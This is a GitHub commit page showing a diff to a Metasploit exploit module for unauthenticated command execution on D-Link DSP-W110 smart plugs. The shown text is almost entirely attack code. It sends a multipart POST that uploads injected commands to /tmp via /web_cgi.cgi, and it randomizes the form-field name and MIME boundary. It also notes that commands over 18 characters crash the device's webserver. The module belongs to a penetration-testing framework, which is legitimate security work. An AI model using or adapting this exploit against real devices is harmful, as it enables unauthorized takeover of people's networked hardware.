Skip to content

Commit d7beb1a

Browse files
author
Michael Messner
committed
feedback included
1 parent 5b6ceff commit d7beb1a

File tree

1 file changed

+9
-3
lines changed

1 file changed

+9
-3
lines changed

modules/exploits/linux/http/dlink_dspw110_cookie_noauth_exec.rb

Lines changed: 9 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -112,16 +112,21 @@ def execute_command(cmd,opts)
112112
file_upload << cmd << "\n"
113113

114114
post_data = Rex::MIME::Message.new
115-
post_data.add_part(file_upload, nil, "binary", "form-data; name=\"xxx\"; filename=\"#{@counter}\"")
116-
post_data.bound = "-9bcdb049f0d2--"
115+
post_data.add_part(file_upload, nil, "binary", "form-data; name=\"#{rand_text_alpha(4)}\"; filename=\"#{@counter}\"")
116+
post_data.bound = "-#{rand_text_alpha(12)}--"
117117
file = post_data.to_s
118118

119119
@counter = @counter + 1
120120

121121
begin
122122
send_request_cgi({
123123
'method' => 'POST',
124-
'uri' => "/web_cgi.cgi?&request=UploadFile&path=/tmp/",
124+
'uri' => "/web_cgi.cgi",
125+
'vars_get' => {
126+
'&request' =>'UploadFile',
127+
'path' => '/tmp/',
128+
},
129+
'encode_params' => false,
125130
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
126131
'data' => file
127132
})
@@ -132,6 +137,7 @@ def execute_command(cmd,opts)
132137
end
133138

134139
def execute_final_command(cmd)
140+
#very limited space - larger commands crash the webserver
135141
fail_with(Failure::Unknown, "#{peer} - Generated command for injection is too long") if cmd.length > 18
136142
begin
137143
send_request_cgi({

0 commit comments

Comments
 (0)